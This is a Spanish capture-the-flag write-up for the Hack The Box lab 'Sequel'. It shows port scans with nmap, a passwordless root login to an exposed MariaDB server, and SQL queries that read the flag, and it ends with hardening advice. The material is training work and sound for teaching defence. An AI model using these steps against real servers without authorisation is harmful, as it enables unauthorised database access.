Sequel
SistemaLinux
DificultadMuy fácil
EstadoStarting Point
Puertos3306
Un servidor MySQL expuesto a la red permite entrar como root sin contraseña.
Reconocimiento
bash
nmap -p- --min-rate 5000 -oN puertos.txt <IP>
nmap -sCV -p3306 <IP>Solo hay un puerto abierto: 3306. El segundo escaneo muestra que en realidad es MariaDB 10.3.27, un derivado de MySQL que usa el mismo cliente y los mismos comandos.
Acceso inicial
El cliente de MySQL usa -h para el host y -u para el usuario. Pruebo con root sin contraseña, que es una mala configuración muy común:
bash
mysql -h <IP> -u root --skip-sslEntra directamente.
Explorar la base de datos
sql
SHOW DATABASES;
USE htb;
SHOW TABLES;
SELECT * FROM users;
SELECT * FROM config;SHOW DATABASESlista las bases de datos. Aparecen las del sistema (information_schema,mysql,performance_schema) y una propia:htb.- Dentro de
htbhay dos tablas:usersyconfig. *significa "todas las columnas".
users solo tiene nombres y correos. La flag está en config.
Lo que me llevo
- Un servicio de base de datos nunca debería estar expuesto a internet.
- Hay que probar siempre
rootsin contraseña y credenciales por defecto.
Cómo se arregla
- Poner contraseña fuerte al usuario
rooty no permitir acceso remoto con él. - Escuchar solo en
127.0.0.1(bind-address) o filtrar el puerto 3306 con firewall.
